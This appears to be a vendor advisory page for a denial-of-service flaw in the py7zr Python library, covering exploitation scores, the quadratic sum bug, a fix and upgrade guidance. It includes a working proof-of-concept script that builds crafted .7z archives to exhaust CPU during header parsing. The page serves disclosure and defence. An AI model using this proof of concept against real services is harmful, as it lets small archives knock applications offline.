Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

GHSA-h4gh-22qq-72r7

GHSA-h4gh-22qq-72r7 is a CWE-407 vulnerability in py7zr. O3 Security confirms whether GHSA-h4gh-22qq-72r7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()

Also known asCVE-2026-55206PYSEC-2026-2973
Published
Jun 19, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-h4gh-22qq-72r7.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk
0.00%0.24%0.47%0.71%0.2%0.2%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍py7zr

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

  import py7zr
  from py7zr.archiveinfo import write_uint64, PROPERTY

  MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

  def encode_uint64(v):
      buf = io.BytesIO()
      write_uint64(buf, v)
      return buf.getvalue()

  def build_7z_with_streams(numstreams):
      header = io.BytesIO()
      header.write(PROPERTY.HEADER)
      header.write(PROPERTY.MAIN_STREAMS_INFO)
      header.write(PROPERTY.PACK_INFO)
      header.write(encode_uint64(0))
      header.write(encode_uint64(numstreams))
      header.write(PROPERTY.SIZE)
      for _ in range(numstreams):
          header.write(encode_uint64(1))
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header_data = header.getvalue()

      out = io.BytesIO()
      out.write(MAGIC)
      out.write(b'\x00\x04')
      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
      start_header = (struct.pack('<Q', 0)
                      + struct.pack('<Q', len(header_data))
                      + struct.pack('<I', next_crc))
      out.write(struct.pack('<I', binascii.crc32(start_header) &
  0xFFFFFFFF))
      out.write(start_header)
      out.write(header_data)
      return out.getvalue()

  for n in [1000, 5000, 10000, 30000, 50000]:
      archive = build_7z_with_streams(n)
      start = time.time()
      try:
          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
              pass
      except Exception:
          # The crafted archive may later raise due to being malformed,
          # but the quadratic work has already been performed during
          # header parsing in SevenZipFile.__init__().
          pass
      elapsed = time.time() - start
      print(f"n={n:6d}  size={len(archive):8d} bytes
  time={elapsed:.3f}s")

Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpy7zrall versions1.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for py7zr. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update py7zr to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h4gh-22qq-72r7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h4gh-22qq-72r7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h4gh-22qq-72r7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.
O3 Security · Impact-Aware SCA

Is GHSA-h4gh-22qq-72r7 in your dependencies?

O3 detects GHSA-h4gh-22qq-72r7 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-h4gh-22qq-72r7: py7zr Denial of Service | O3 Security